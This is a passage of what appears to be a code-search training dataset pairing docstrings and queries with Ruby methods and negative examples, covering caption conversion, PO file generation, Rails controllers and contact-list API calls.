HEREDOC\n\n untranslated_items.delete(:TIDY_LANGUAGE)\n untranslated_items.delete(:TIDY_MESSAGE_TYPE_LAST)\n untranslated_items.each do |key, value|\n\n if value['0'][:comment]\n value['0'][:comment].each_line { |line| report << \"#. #{line.strip}\\n\"}\n end\n\n attribs = []\n attribs << 'fuzzy' if value['0'][:fuzzy] && action == :msgunfmt\n attribs << 'c-format' if %w(%u %s %d).any? { | find | value['0'][:string].include?(find) }\n if attribs.count > 0\n report << \"#, #{attribs.join(', ')}\\n\"\n end\n\n report << \"msgctxt \\\"#{key.to_s}\\\"\\n\"\n\n # Handle the untranslated strings, with the possibility that there\n # are two forms. PO/POT is English-based and supports only a singular\n # and plural form.\n value.each_value do | subitem |\n label = subitem[:case] == '0' ? 'msgid' : 'msgid_plural'\n report << item_output.(label, subitem[:string])\n end\n\n # Handle translated strings, with the possibility that there\n # are multiple plural forms for them.\n en_is_singular = value.count == 1\n\n if lang_source && lang_source.items[key]\n # Print translated strings.\n if en_is_singular\n report << item_output.( 'msgstr', lang_source.items[key]['0'][:string])\n else\n # Print available plural forms and write blanks for the rest.\n (0..header_plural_count).each do |i|\n if lang_source.items[key].has_key?(i.to_s)\n report << item_output.( \"msgstr[#{i}]\", lang_source.items[key][i.to_s][:string])\n else\n report << \"msgstr[#{i}] \\\"\\\"\\n\"\n end\n end\n end\n else\n # Print empty translated strings.\n if en_is_singular\n report << \"msgstr \\\"\\\"\\n\"\n else\n (0..header_plural_count).each do |i|\n report << \"msgstr[#{i}] \\\"\\\"\\n\"\n end\n end\n end\n\n report << \"\\n\"\n end # do\n\n if emacs_footer\n report << <<-HEREDOC\n# Local Variables:\n# mode: po\n# eval: (add-hook 'po-subedit-mode-hook '(lambda () (setq fill-column 78)))\n# End:\n HEREDOC\n end\n\n output_file = action == :xgettext ? 'tidy.pot' : \"language_#{header_translate_to}.po\"\n if File.exists?(output_file)\n File.rename(output_file, safe_backup_name(output_file))\n end\n File.open(output_file, 'w') { |f| f.write(report) }\n @@log.info \"#{__method__}: Results written to #{output_file}\"\n puts \"Wrote a new file to #{File.expand_path(output_file)}\"\n true\n end", "def transform(input_path, output_dir, output_filename_format)\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Method to convert from one caption type to other types. If the src_lang is not provided then all source languages will be converted to target types. For example, if a ttml file has "en" and "es" and target_type is vtt and no src_lang is provided 2 vtt files would be created one per language in the source. if a target_lang is provided then one of the lang from source would be picked for creating the output file with target_lang If no target_lang is provided, no translations are applied. output_file is created using without any need for any language translation services. Hence doesn't incur any cost !! Note: +src_lang+ makes sense only for caption types that can hold multi lingual captions like dfxp and ttml. For other caption sources this field is ignored +types+ An array of Valid input caption type(s). Refer to `CaptionType` +src_lang+ can be inferred using infer_language method +target_lang+ Target 2 letter ISO language code to which the source needs to be translated in to. +output_dir+ Output Directory. Generated files would be dumped here ==== Raises InvalidInputException shall be raised if 1. The input file doesn't exist or is unreadable or is invalid caption 2. The output dir doesn't exist 3. Invalid lang codes for a given caption type 4. Unsupported type to which conversion is requested for
def transform_to(types, src_lang, target_lang, output_dir) if (types - supported_transformations).size != 0 raise InvalidInputException.new("Unknown types provided for conversion in input #{types}") end unless File.directory?(output_dir) FileUtils.mkdir_p(output_dir) end # Basic validations if types.include?(TYPE_SCC) if target_lang && !target_lang.eql?("en") raise InvalidInputException.new("SCC can be generated only in en. #{target_lang} is unsupported") end end end
[ "def translate(src_lang, target_lang, output_file)\n # Check if a non empty output file is present and error out to avoid\n # the danger or overwriting some important file !!\n if File.exists?(output_file) && File.size(output_file) > 0\n raise InvalidInputException.new(\"Output file #{output_file} is not empty.\")\n else\n # Just open the file in writable mode and close it just to ensure that\n # we can write the output file\n File.open(output_file, \"w\") {|f|\n }\n end\n # Check if the file is writable ?\n unless File.writable?(output_file)\n raise InvalidInputException.new(\"Output file #{output_file} not writable.\")\n end\n # Further checks can be done only in caption specific implementations\n # or translation engine specific implementation\n end", "def generate(dest_lang, source, source_lang, make_file = true, force_file = false, lenient_mode = true, custom_file_path = nil)\n\n\t\terror_and_exit \"Please supply first argument as a Symbol\" unless dest_lang.class == Symbol\n\n\t\t@language = dest_lang\n\t\tif @@target_languages.include?(@language)\n\t\t\t# may proceed\n\t\t\t# TODO other target languages, e.g. C#, Python\n\t\telse\n\t\t\terror_and_exit \"Cannot generate language #{@language}; can only generate #{@@target_languages.join(\", \")}\"\n\t\tend\n\t\t@extension = set_file_extension_for_language\n\n\t\t@mode = source_lang.to_sym\n\t\tif @@input_modes.include?(@mode)\n\t\t\t# may proceed\n\t\telse\n\t\t\terror_and_exit \"Cannot parse input language #{@mode}; can only parse #{@@input_modes.join(\", \")}\"\n\t\tend\n\n\t\t# TODO other input languages, e.g. XML, YAML\n\t\tcase @mode\n\t\twhen :json\n\t\t\tbegin\n\t\t\t\thash = JSON.parse(source)\n\t\t\trescue JSON::ParserError => e\n\t\t\t\terror_and_exit \"Could not parse supplied string as JSON. Error message : #{e.message}\"\n\t\t\tend\n\t\telse\n\t\t\terror_and_exit \"Cannot parse mode #{@mode}\"\n\t\tend\n\n\t\t# If we have read in an array instead of a hash, then take the first element of the array\n\t\t# This assumes that each element in this top-level array has the same structure, which is reasonable\n\t\tif hash.class == Array && hash.size > 0\n\t\t\thash = hash.shift\n\t\tend\n\n\t\terror_and_exit \"Input file did not have a hash / map of key-value pairs; could not parse\" unless hash.class == Hash\n\n\t\terror_and_exit \"Input file hash / map was empty\" if hash.empty?\n\n\t\ttop_level_classname = generate_top_level_name\n\t\toutput_classes = generate_output_classes(hash, top_level_classname).flatten # returns an array\n\n\t\t# Set the directory that the files will be written into\n\t\tif custom_file_path\n\t\t\t# This caters for both absolute & relative file paths\n\t\t\tfile_path = File.absolute_path(custom_file_path)\n\t\telse\n\t\t\tfile_path = Dir.getwd\n\t\tend\n\n\t\t# Track the names of the classes/files we have written so far\n\t\twritten_file_names = []\n\n\t\tif make_file\n\t\t\toutput_classes.each do |out|\n\t\t\t\tname = out[:name_with_ext]\n\t\t\t\t# Check the name against the files we have already written\n\t\t\t\tif written_file_names.include?(name)\n\t\t\t\t\tif lenient_mode\n\t\t\t\t\t\t# Let us increment the name, e.g. \"data.rb\" -> \"data_1.rb\", \"data_2.rb\", etc.\n\t\t\t\t\t\tincrement = 1\n\t\t\t\t\t\tnew_name = name.gsub(@extension, \"_#{increment}#{@extension}\")\n\t\t\t\t\t\twhile written_file_names.include?(new_name)\n\t\t\t\t\t\t\tincrement += 1\n\t\t\t\t\t\t\tnew_name = name.gsub(@extension, \"_#{increment}#{@extension}\")\n\t\t\t\t\t\tend\n\t\t\t\t\t\tname = new_name\n\t\t\t\t\telse\n\t\t\t\t\t\tmessage = \"Want to generate output file #{name}, but a file with that name has already been written by this process. Your SON structure contains 2+ different classes with the same name\"\n\t\t\t\t\t\terror_and_exit(message) \n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tfilename = file_path + File::SEPARATOR + name\n\t\t\t\tcontents = out[:contents]\n\t\t\t\tunless force_file\n\t\t\t\t\terror_and_exit \"Want to generate output file #{name}, but that file already exists\" if File.exists?(name)\n\t\t\t\tend\n\t\t\t\tFile.open(filename, \"w+\") do |f|\n\t\t\t\t\tf.puts contents\n\t\t\t\tend\n\t\t\t\twritten_file_names << name\n\t\t\t\tputs \"Wrote out file #{name}\"\n\t\t\tend\n\n\t\t\tputs \"Please inspect generated code files and adjust names and types accordingly\"\n\t\tend\n\t\toutput_classes\n\tend", "def create_file(src_type, dest_type, output_file, target_lang)\n file = nil\n done = false\n begin\n # Create the file in overwrite mode\n file = File.open(output_file, \"w\")\n\n # Dump the initial info into the file to start off with\n case dest_type\n when AllFather::TYPE_SCC\n file.write(\"Scenarist_SCC V1.0\\n\\n\")\n\n when AllFather::TYPE_SRT\n file.write(\"NOTE #{CREDITS}\\n\\n\")\n\n when AllFather::TYPE_VTT\n file.write(\"WEBVTT\\n\\n\")\n file.write(\"NOTE #{CREDITS}\\n\\n\")\n\n when AllFather::TYPE_TTML\n target_lang ||= \"\"\n # TODO: Move this to a template file and load from there !!\n data = <<-EOF\n<tt xml:lang=\"\" xmlns=\"http://www.w3.org/ns/ttml\">\n <head>\n <metadata xmlns:ttm=\"http://www.w3.org/ns/ttml#metadata\">\n <ttm:desc>#{CREDITS}</ttm:desc>\n </metadata>\n </head>\n <body>\n <div xml:lang=\\\"#{target_lang}\\\">\n EOF\n file.write(data)\n\n when AllFather::TYPE_DFXP\n target_lang ||= \"\"\n data = <<-EOF\n<tt xml:lang=\"\" xmlns=\"http://www.w3.org/2004/11/ttaf1\">\n <head>\n <meta xmlns:ttm=\"http://www.w3.org/2004/11/ttaf1#metadata\">\n <ttm:desc>#{CREDITS}</ttm:desc>\n </meta>\n </head>\n <body>\n <div xml:lang=\\\"#{target_lang}\\\">\n EOF\n file.write(data)\n else\n raise AllFather::InvalidInputException.new(\"Not a valid type; Failed to create output file for type #{type}\")\n end\n done = true\n ensure\n file.close if file rescue nil\n end\n done\n end", "def transform_files!(type) \n files = Files.send(type.to_s + \"_files\")\n files.each do |file|\n parsed = \"\"\n namespace = [DEFAULT_LANGUAGE, 'txt', type] + Base.get_namespace(file, type)\n puts \"Converting: \" + file + \" into namespace: \"\n puts namespace.map {|x| \"[\\\"#{x}\\\"]\"}.join(\"\")\n \n namespace = Namespace.new(namespace)\n contents = File.read(file)\n parsed << GettextI18nConvertor.string_to_i18n(contents, namespace)\n\n File.open(file, 'w') { |file| file.write(parsed)}\n \n namespace.merge(@translations)\n end\n end", "def convert(original, source_type, target_type)\n converter_factory.converter(source_type, target_type).convert_content(original)\n end", "def transform_files!(files, type) \n files.each do |file|\n @file = file\n @type = type\n parsed = \"\"\n @dirnames = Base.get_namespace(file,type) # directories after the app/type/ directory\n \n namespaces = LANGUAGES.collect do |lang|\n if type == 'views'\n namespace = [lang] + @dirnames\n else\n namespace = [lang, type] + @dirnames\n end\n \n puts \"Converting: \" + file + \" into namespace: \"\n puts namespace.map {|x| \"[\\\"#{x}\\\"]\"}.join(\"\")\n \n Namespace.new(namespace,lang)\n end\n\n contents = Base.get_file_as_string(file)\n parsed << GettextI18nConvertor.string_to_i18n(contents, namespaces, type)\n \n # write the app/type/file with new i18n format instead of gettext\n File.open(file, 'w') { |file| file.write(parsed)}\n \n namespaces.each do |ns|\n new_file_handler(ns)\n end\n end\n end", "def convert\n # TODO: implementation\n output_file = choose_output\n return if output_file.nil?\n Converter.translate(@file, output_file)\n log(\"File conversion finished\")\n end", "def convert(source, target)\n source_file = load_file(source)\n target_file = load_file(target)\n raise t('file.not_found', file: source) unless source_file.path.file?\n\n if source_file.type == target_file.type\n # if same file type, modify source.\n # this retains internal structure\n target_file = source_file\n else\n # different file type, copy properties from source file to target\n target_file.properties = source_file.properties\n end\n\n target_file.save(Pathname.new(target), @options)\n target_file\n end", "def translate(lang)\n template = @templates_dir + 'lang/en.yml'\n new_lang = Dir.home + '/.budik/lang/' + lang + '.yml'\n FileUtils.cp template, new_lang\n open_file(new_lang)\n end", "def convert\n @assets.each do |asset|\n # Convert asset multiple times if more than one converter is found\n finished = false\n while finished == false\n # Find a converter to use\n klass = JAPR::Converter.subclasses.select do |c|\n c.filetype == File.extname(asset.filename).downcase\n end.last\n\n # Convert asset if converter is found\n if klass.nil?\n finished = true\n else\n begin\n # Convert asset content\n converter = klass.new(asset)\n\n # Replace asset content and filename\n asset.content = converter.converted\n asset.filename = File.basename(asset.filename, '.*')\n\n # Add back the output extension if no extension left\n if File.extname(asset.filename) == ''\n asset.filename = \"#{asset.filename}#{@type}\"\n end\n rescue Exception => e\n puts \"Asset Pipeline: Failed to convert '#{asset.filename}' \" \\\n \"with '#{klass}': #{e.message}\"\n raise e\n end\n end\n end\n end\n end", "def convert()\n\n if File.extname(@file_in) == '.ogg' then\n ogg_to_wav() if File.extname(@file_out) == '.wav'\n else\n wav_to_ogg() if File.extname(@file_out) == '.ogg'\n end\n\n end", "def convert!(output_type)\n return if output_type == type\n\n converter = @@converters[type,output_type]\n \n raise \"No conversion found from #{@type} to #{output_type}\" if converter.nil?\n\n @content = converter.call(@content)\n @type = output_type\n end", "def translate(input_text, src_lang, target_lang)\n response = @translate_service.translate_text({ :text => \"#{input_text}\" , \n :source_language_code => \"#{src_lang}\", :target_language_code => \"#{target_lang}\"})\n response.translated_text\n end", "def rule_src2dst(src_exts, dst_ext, prefix = nil)\n desc \"convert from .#{src_exts[0]} to #{dst_ext}.\"\n dst_files = []\n FileList[\"#{prefix.to_s}*.#{src_exts[0]}\"].each do |src_file|\n dst_file = src_file.ext(dst_ext)\n basename = File.basename(src_file, \".#{src_exts[0]}\")\n src_files = src_exts.map {|ext| FileList[\"#{basename}.#{ext}\"]}.flatten\n src_files.select!{|path| FileTest.exist? path }\n file dst_file => src_files do\n yield(src_files, dst_file)\n end\n dst_files << dst_file\n end\n task \"#{src_exts[0]}2#{dst_ext}\".to_sym => dst_files\n\n DST_FILES[dst_ext] ||= []\n DST_FILES[dst_ext] += dst_files\n CLEAN.include(dst_files)\nend", "def create(name, source_lang, target_langs, options = {})\n options[:name] = name\n options[:sourceLang] = source_lang\n options[:targetLangs] = target_langs\n post(PATH, options)\n end", "def translate(input_text, src_lang, target_lang)\n raise \"Not Implemented. Class #{self.class.name} doesn't implement translate\"\n end", "def from(lang)\n @source_lang = lang\n return self\n end", "def create_output_type( source, source_audio, signature_context)\n create_output_type2( source, source_audio, signature_context)\n final_report(Final_report_context.new(\n\t@image_sequence.n_sequence_frames, @fps, @options.transition_and_timing, @options.keep, @image_sequence.framecount, \n @options.three_D ? source[0] : source, @workdir ))\n cleanup_workdir( @options.keep )\n done_message\n end", "def translated_msg(translate, message, src_lang, target_lang)\n return message unless translate \n use_src = nil \n if (src_lang.nil? || src_lang.empty?)\n # We don't need to infer again and again\n begin\n @inferred_src_lang ||= infer_languages.first\n rescue StandardError => e \n raise LangDetectionFailureException.new(\"Failed to infer language due to #{e.message}\")\n end\n use_src = @inferred_src_lang\n else\n use_src = src_lang\n end\n return message if use_src.eql?(target_lang)\n @translator.translate(message, use_src, target_lang)\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Method to report on the supported transformations. Each implementor is free to return the types to which it can convert itself to ==== Returns An array of one or more types defined as +TYPE_+ constants here
def supported_transformations raise "Not Implemented. Class #{self.class.name} doesn't implement supported_transformations" end
[ "def transformers\n []\n end", "def transformations\n @transformations ||= []\n end", "def transformations\n @transformations ||= []\n end", "def compose_transformers(transformers, types); end", "def transform_content_type\n\t\tself.log.debug \"Applying content-type transforms (if any)\"\n\t\treturn if self.mediatype_callbacks.empty?\n\n\t\tself.log.debug \" transform callbacks registered: %p\" % [ self.mediatype_callbacks ]\n\t\tself.better_mediatypes.each do |mediatype|\n\t\t\tcallbacks = self.mediatype_callbacks.find_all do |mimetype, _|\n\t\t\t\tmediatype =~ mimetype\n\t\t\tend\n\n\t\t\tif callbacks.empty?\n\t\t\t\tself.log.debug \" no transforms for %s\" % [ mediatype ]\n\t\t\telse\n\t\t\t\tself.log.debug \" %d transform/s for %s\" % [ callbacks.length, mediatype ]\n\t\t\t\tcallbacks.each do |mimetype, callback|\n\t\t\t\t\treturn if self.try_content_type_callback( mimetype, callback )\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "def possible_types; end", "def transforms\n @transforms ||= []\n end", "def transform_names\n GcodeVm.constants(false).map(&:to_s)\n .grep(/Transformer$|Enumerator$/)\n .reject {|s| s == 'TransformingEnumerator' }\n .reject {|s| s == 'MultiAxisTransformer' }\n .map {|s| s.sub(/Transformer$|Enumerator$/, '') }\n .map(&:underscore)\n .sort\n end", "def compose_transformers(transformers, types, preprocessors, postprocessors); end", "def apply_changes_from_converted_types\n end", "def transformers\n strong_memoize(:transformers) do\n defined_transformers = self.class.transformers.map(&method(:instantiate))\n\n transformers = []\n transformers << self if respond_to?(:transform)\n transformers.concat(defined_transformers)\n transformers\n end\n end", "def get_Types()\n \t return @outputs[\"Types\"]\n \tend", "def types\n []\n end", "def next_converters_by_method\n polei.compatible_convert_methods.map do |m|\n ret_type = TYPE_RETURNED_BY_METHOD[m.to_sym]\n next unless ret_type\n convs = Poleica::Convertible.compatible_converters_by_type(ret_type)\n convs.map { |conv| { m.to_sym => conv } }\n end.compact.flatten(1)\n end", "def find_handled_types( supported_formats )\n\t\treturn supported_formats.\n\t\t\tselect {|type, op| op.can_read? }.\n\t\t\tcollect {|type, op| Strelka::HTTPRequest::MediaType.parse(type) }\n\tend", "def convert_types?\n ct = @opts[:convert_types]\n ct.nil? ? db.convert_types : ct\n end", "def transformation\n end", "def correct_value_types\n resource = @klass.new\n @transform_attributes.each do |k, v|\n # check if attribute is single-valued but is currently an array\n @transform_attributes[k] = if resource.attributes.keys.member?(k.to_s) && !resource.attributes[k.to_s].respond_to?(:each) && @transform_attributes[k].respond_to?(:each)\n v.first\n # check if attribute is multi-valued but is currently not an array\n elsif resource.attributes.keys.member?(k.to_s) && resource.attributes[k.to_s].respond_to?(:each) && !@transform_attributes[k].respond_to?(:each)\n Array(v)\n # otherwise, the attribute does not need to be transformed\n else\n v\n end\n end\n end", "def all_types\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
GET /pashiris GET /pashiris.json
def index @pashiris = Pashiri.all end
[ "def index\n @pals = Pal.all\n\n render json: @pals\n end", "def index\n @pizzas = Pizza.all\n render json: @pizzas\n end", "def show\n @plushki = Plushki.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plushki }\n end\n end", "def index\n @pessoas = Pessoa.all\n render json: @pessoas\n end", "def index\n @kushis = Kushi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @kushis }\n end\n end", "def index\n @iphs = Iph.paginate(:page => params[:page], :per_page => 10).order('created_at desc')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @iphs }\n end\n end", "def index\n @karyalay_pandits = KaryalayPandit.all\n render json: @karyalay_pandits\n end", "def index\n @papels = Papel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @papels }\n end\n end", "def index\n @peaces = Peace.all\n render json: @peaces\n end", "def show\n @palpite = Palpite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @palpite }\n end\n end", "def index\n @pois = Poi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pois }\n end\n end", "def index\n @parishes = Parish.all\n\n render json: @parishes\n end", "def index\n @pains = Pain.all\n render json: @pains\n end", "def index\n @parroquia = Parroquia.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @parroquia }\n end\n end", "def index\n @ps = P.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ps }\n end\n end", "def show\n @pizzarail = Pizzarail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pizzarail }\n end\n end", "def index\n @piconets = Piconet.all\n render json: @piconets, include: [:users]\n\n end", "def index\n @honyakus = Honyaku.all\n # render json: @honyakus\n end", "def index\n @prefeitura = Prefeitura.first\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @prefeitura }\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
POST /pashiris POST /pashiris.json
def create @pashiri = Pashiri.new(pashiri_params) respond_to do |format| if @pashiri.save format.html { redirect_to @pashiri, notice: 'Pashiri was successfully created.' } format.json { render :show, status: :created, location: @pashiri } else format.html { render :new } format.json { render json: @pashiri.errors, status: :unprocessable_entity } end end end
[ "def create\n @plushki = Plushki.new(params[:plushki])\n\n respond_to do |format|\n if @plushki.save\n format.html { redirect_to plushkis_path, notice: 'Plushki was successfully created.' }\n format.json { render json: @plushki, status: :created, location: @plushki }\n else\n format.html { render action: \"new\" }\n format.json { render json: @plushki.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pai = Pai.new(pai_params)\n\n respond_to do |format|\n if @pai.save\n format.html { redirect_to pais_path, notice: 'Pais creado existosamente.' }\n format.json { render :index, status: :created, location: @pai }\n else\n format.html { render :new }\n format.json { render json: @pai.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_spoonacular\n # %encode ingredients to url\n encoded_ingr = URI.escape(@translated_recipe[:ingredients_list])\n # post call block :\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/parseIngredients?includeNutrition=true\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(url)\n request[\"content-type\"] = \"application/x-www-form-urlencoded\"\n request[\"x-rapidapi-key\"] = ENV[\"X_RAPIDAPI_KEY\"]\n request[\"x-rapidapi-host\"] = \"spoonacular-recipe-food-nutrition-v1.p.rapidapi.com\"\n # body of the call with ingredients and servings\n request.body = \"ingredientList=#{encoded_ingr}&#{@recipe_hash[:servings]}\"\n # response\n response = http.request(request)\n end", "def create\n @pniya = Pniya.new(params[:pniya])\n\n respond_to do |format|\n if @pniya.save\n format.html { redirect_to @pniya, notice: 'Pniya was successfully created.' }\n format.json { render json: @pniya, status: :created, location: @pniya }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pniya.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pal = Pal.new(pal_params)\n\n if @pal.save\n render json: @pal, status: :created, location: @pal\n else\n render json: @pal.errors, status: :unprocessable_entity\n end\n end", "def create\n @pessoa = Pessoa.new(pessoa_params)\n if @pessoa.save\n render json: @pessoa\n else\n render json: @pessoa.errors, status: :unprocessable_entity\n end\n end", "def create\n @papu = Papu.new(papu_params)\n\n respond_to do |format|\n if @papu.save\n format.html { redirect_to @papu, notice: 'Papu was successfully created.' }\n format.json { render :show, status: :created, location: @papu }\n else\n format.html { render :new }\n format.json { render json: @papu.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @parish = Parish.new(parish_params)\n\n if @parish.save\n render json: @parish, status: :created, location: @parish\n else\n render json: @parish.errors, status: :unprocessable_entity\n end\n end", "def create\n @pizzarail = Pizzarail.new(params[:pizzarail])\n\n respond_to do |format|\n if @pizzarail.save\n format.html { redirect_to @pizzarail, notice: 'Pizzarail was successfully created.' }\n format.json { render json: @pizzarail, status: :created, location: @pizzarail }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pizzarail.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @peizhiguanli = Peizhiguanli.new(peizhiguanli_params)\n\n respond_to do |format|\n if @peizhiguanli.save\n format.html { redirect_to @peizhiguanli, notice: 'Peizhiguanli was successfully created.' }\n format.json { render :show, status: :created, location: @peizhiguanli }\n else\n format.html { render :new }\n format.json { render json: @peizhiguanli.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @puisi = Puisi.new(puisi_params)\n\n respond_to do |format|\n if @puisi.save\n format.html { redirect_to @puisi, notice: 'Puisi was successfully created.' }\n format.json { render action: 'show', status: :created, location: @puisi }\n else\n format.html { render action: 'new' }\n format.json { render json: @puisi.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @hiperdium = Hiperdium.new(hiperdium_params)\n\n respond_to do |format|\n if @hiperdium.save\n format.html { redirect_to @hiperdium, notice: 'Hiperdium was successfully created.' }\n format.json { render action: 'show', status: :created, location: @hiperdium }\n else\n format.html { render action: 'new' }\n format.json { render json: @hiperdium.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pichanga = Pichanga.new(params[:pichanga])\n\n respond_to do |format|\n if @pichanga.save\n format.html { redirect_to @pichanga, :notice => 'Pichanga was successfully created.' }\n format.json { render :json => @pichanga, :status => :created, :location => @pichanga }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @pichanga.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @palpite = Palpite.new(params[:palpite])\n\n respond_to do |format|\n if @palpite.save\n format.html { redirect_to @palpite, :notice => 'Palpite was successfully created.' }\n format.json { render :json => @palpite, :status => :created, :location => @palpite }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @palpite.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n pap = Ppap.process_ppap(params, \"new\")\n @ppap = Ppap.new(pap)\n respond_to do |format|\n if @ppap.save\n format.html { redirect_to @ppap, notice: 'PSW was successfully created.' }\n format.json { render json: @ppap, status: :created, location: @ppap }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ppap.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ipdizhi = Ipdizhi.new(ipdizhi_params)\n\n respond_to do |format|\n if @ipdizhi.save\n format.html { redirect_to @ipdizhi, notice: 'Ipdizhi was successfully created.' }\n format.json { render :show, status: :created, location: @ipdizhi }\n else\n format.html { render :new }\n format.json { render json: @ipdizhi.errors, status: :unprocessable_entity }\n end\n end\n end", "def post operation, data={}\n body = case data\n when String\n body = data\n else\n Yajl::Encoder.encode(data)\n end\n\n request = new_request operation, body\n request.sign sts\n hydra.queue request\n hydra.run\n response = request.response\n puts response.inspect if @debug\n\n if response.code == 200\n Yajl::Parser.parse response.body\n else\n raise_error response\n end\n end", "def create\n @pithcher = Pithcher.new(pithcher_params)\n\n respond_to do |format|\n if @pithcher.save\n format.html { redirect_to @pithcher, notice: 'Pithcher was successfully created.' }\n format.json { render :show, status: :created, location: @pithcher }\n else\n format.html { render :new }\n format.json { render json: @pithcher.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @piloto = Piloto.new(piloto_params)\n\n respond_to do |format|\n if @piloto.save\n format.html { redirect_to @piloto, notice: 'Piloto was successfully created.' }\n format.json { render :show, status: :created, location: @piloto }\n else\n format.html { render :new }\n format.json { render json: @piloto.errors, status: :unprocessable_entity }\n end\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
+list_ids+ array +paras+ must contain: :is_double_opt_in => 0 or 1 :contacts => array of hashes, required elements: :contact_email => string
def add_list_contacts(list_ids, params = {}) contact_params = params[:contacts].each_with_object({}).with_index do |(value, hash), index| hash[index.to_s.to_sym] = value end request = @request.post(self_path, { list_ids: list_ids.join(','), contact: contact_params, **params.except(:contacts) }) response = Response.new(request).parse if response[:status] == 'error' raise Errors::UnprocessableEntityError.new, response[:message] end end
[ "def list_contacts(*args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n list_id = args.first\n raise \"No list_id given!\" if list_id.nil?\n\n response = get ENDPOINT, options.merge(list_id: list_id)\n response.body\n end", "def ffcrm_list_ids\n config.mailchimp_list_fields.map{ |f| f.settings['list_id'] }\n end", "def add_to_list(contact, list_id)\n contact.lists << ConstantContact::Components::ContactList.create(id: list_id.to_s) unless contact.lists.map(&:id).include?(list_id.to_s)\n end", "def list_ids params={}\n @nimble.get \"contacts/ids\", params\n end", "def get_contacts_in_a_list(list_id, options={})\n get(\"contactLists/#{list_id}\", options)\n end", "def recipients_in_list\n if request.get?\n render :layout => \"modal\"\n return\n end\n \n list = params[:accounts].strip.split(/\\n|,/).uniq\n conditions = [\n \"(erp_account_number IN (:list) OR serial_number IN (:list))\",\n { :list => list }\n ]\n conditions.first << \" AND do_not_contact = false\" unless params[:ignore_do_not_contact]\n @recipients = StoreUser.find(\n :all,\n :conditions => conditions,\n :joins => \"LEFT OUTER JOIN serial_numbers ON serial_numbers.account_num = erp_account_number\",\n :include => \"customer\"\n ) rescue []\n render :partial => \"mail_recipients\", :layout => false\n end", "def arrayify_ids_fields_in_params\n %w(community_ids list_ids).each do |ids_field|\n if params[:item][ids_field].present? && params[:item][ids_field].is_a?(String)\n params[:item][ids_field] = params[:item][ids_field].split(',')\n end\n end\n end", "def update_list(access_token, list)\n url = Util::Config.get('endpoints.base_url') + sprintf(Util::Config.get('endpoints.list'), list.id)\n url = build_url(url)\n payload = list.to_json\n response = RestClient.put(url, payload, get_headers(access_token))\n Components::ContactList.create(JSON.parse(response.body))\n end", "def get_contacts_from_list(access_token, list_id, param = nil)\n url = Util::Config.get('endpoints.base_url') + sprintf(Util::Config.get('endpoints.list_contacts'), list_id)\n url = build_url(url, param)\n response = RestClient.get(url, get_headers(access_token))\n contacts = []\n body = JSON.parse(response.body)\n body['results'].each do |contact|\n contacts << Components::Contact.create(contact)\n end\n Components::ResultSet.new(contacts, body['meta'])\n end", "def fetch_contacts\n case params[:importer]\n when OTHER_EMAIL then params[:emails].split(',')\n when GMAIL, YAHOO, HOTMAIL, OUTLOOK, LINKEDIN then params[:contacts]\n end\n end", "def contact_ids=(val)\n @contact_ids = case val\n when /^\\[?((\\d+,?\\s?)+)\\]?$/\n $1.split(',')\n when Array\n val\n else\n []\n end\n\n # clear user_ids cache\n @user_ids = nil\n end", "def delete_contact_from_list(contact, list_id)\n @api.delete_contact_from_list(contact.id.to_i, list_id.to_i) if in_list?(contact, list_id)\n find(contact.id)\n end", "def existing_list_ids_for_klass\n FieldGroup.where( klass_name: klass_name ).\n map{ |fg| fg.fields }.flatten.\n select{ |f| f.as == 'mailchimp_list' }.\n map{ |f| f.settings['list_id'] }\n end", "def add_to_list!(*contacts)\n return false if !self.id.present?\n contacts = contacts.flatten\n\n # The block below is evaluated in a weird scope so we need to capture self as _self for use inside the block.\n _self = self\n\n resp = request(\"add_to_list\", {list: { id: _self.id }, contacts: contacts.map { |c| { id: c.id } }})\n\n errors = Array.wrap(resp[:return][:results]).select { |r| r[:is_error] }\n errors.each do |error|\n raise Bronto::Error.new(error[:error_code], error[:error_string])\n end\n\n true\n end", "def add_selected_contacts_to_list\n @saved_contact_list = SavedContactList.find(params[:id])\n logger.debug \"**** ADD SELECTED 